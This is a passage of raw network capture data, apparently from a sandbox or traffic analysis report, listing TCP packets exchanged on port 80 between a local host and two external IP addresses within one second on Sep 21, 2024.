Sep 21, 2024 13:33:42.250793934 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.250807047 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.250833988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252254009 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252286911 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252310038 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252319098 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252337933 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252357006 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252365112 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252392054 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252401114 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252435923 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252477884 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252511024 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252521038 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252545118 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252558947 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252578020 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252583981 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252610922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252718925 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252767086 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252790928 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252799988 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252821922 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252835035 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252857924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252866983 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252891064 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252901077 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252911091 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252937078 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252959967 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.252969027 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.252990007 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253006935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253030062 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253128052 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253206968 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253241062 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253251076 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253281116 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253305912 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253334999 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253353119 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253370047 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253376007 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253405094 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253422976 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253448009 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253451109 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253485918 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253501892 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253518105 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253525972 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253552914 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253586054 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.253608942 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253652096 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.253995895 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254028082 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254049063 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.254080057 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254098892 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.254113913 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254127026 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.254148960 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254158020 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.254183054 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254194975 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.254219055 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.254226923 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.254262924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256455898 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256481886 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256499052 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256503105 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256516933 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256534100 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256548882 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256556988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256556988 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256567001 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256567955 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256586075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256586075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256587982 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256604910 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256625891 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256864071 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256897926 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256913900 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256921053 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256927013 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256938934 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256939888 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.256951094 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.256969929 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.257425070 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261060953 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261075020 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261090994 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261116982 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261126995 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261142015 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261145115 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261159897 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261163950 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261179924 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261181116 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261219025 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.261235952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261235952 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.261255980 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.263963938 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264012098 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264039993 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264055967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264139891 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264154911 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264170885 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264192104 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264192104 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264192104 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264197111 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264214039 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264218092 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264230967 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264246941 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264249086 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264264107 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264264107 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264281988 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264295101 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264311075 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264350891 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264463902 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264480114 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.264519930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.264519930 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266066074 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266140938 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266243935 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266259909 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266308069 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266308069 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266545057 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266598940 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266622066 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266630888 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266654968 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266666889 CEST	80	49709	147.45.44.104	192.168.2.9
Sep 21, 2024 13:33:42.266690016 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.266787052 CEST	49709	80	192.168.2.9	147.45.44.104
Sep 21, 2024 13:33:42.273441076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273475885 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273519993 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273519993 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273528099 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273561954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273628950 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273628950 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273678064 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273710012 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273742914 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273753881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273753881 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273796082 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273828983 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273860931 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273878098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273878098 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273895025 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273929119 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273941040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273941040 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.273962021 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.273993015 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274008989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274008989 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274046898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274080038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274095058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274095058 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274112940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274146080 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274158955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274158955 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274179935 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274215937 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274226904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274226904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274297953 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274331093 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274360895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274360895 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274363995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274398088 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274406910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274406910 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274441957 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274446964 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274481058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274528027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274528027 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274530888 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274563074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274595022 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274605036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274605036 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274626970 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274673939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274673939 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274720907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274774075 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274806976 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274821043 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274821043 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274840117 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274873018 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274883986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274883986 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274924040 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.274975061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274975061 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.274976969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275007010 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275041103 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275053978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275053978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275078058 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275110006 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275142908 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275157928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275157928 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275171995 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275190115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275206089 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275242090 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275255919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275255919 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275274038 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275306940 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275316000 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275347948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275347948 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275356054 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275399923 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275407076 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275439024 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275470972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275476933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275476933 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275504112 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275536060 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275537968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275567055 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275582075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275582075 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275600910 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275633097 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275650024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275650024 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275666952 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275692940 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275718927 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275767088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275767088 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275824070 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275856972 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275906086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275906086 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275909901 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275942087 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.275954962 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.275975943 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276015997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276015997 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276026011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276058912 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276067972 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276092052 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276124954 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276134968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276134968 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276158094 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276190996 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276201010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276201010 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276223898 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276257992 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276271105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276271105 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276290894 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276324034 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276354074 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276355028 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276388884 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276422977 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276433945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276433945 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276738882 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276747942 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276779890 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276798964 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276813984 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276860952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276860952 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276915073 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276948929 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.276981115 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.276982069 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277000904 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277034044 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277062893 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277085066 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277086020 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277093887 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277112961 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277126074 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277153969 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277170897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277170897 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277187109 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277220011 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277230978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277230978 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277252913 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277283907 CEST	80	49710	103.130.147.211	192.168.2.9
Sep 21, 2024 13:33:42.277286053 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277286053 CEST	49710	80	192.168.2.9	103.130.147.211
Sep 21, 2024 13:33:42.277317047 CEST	80	49710	103.130.147.211	192.168.2.9
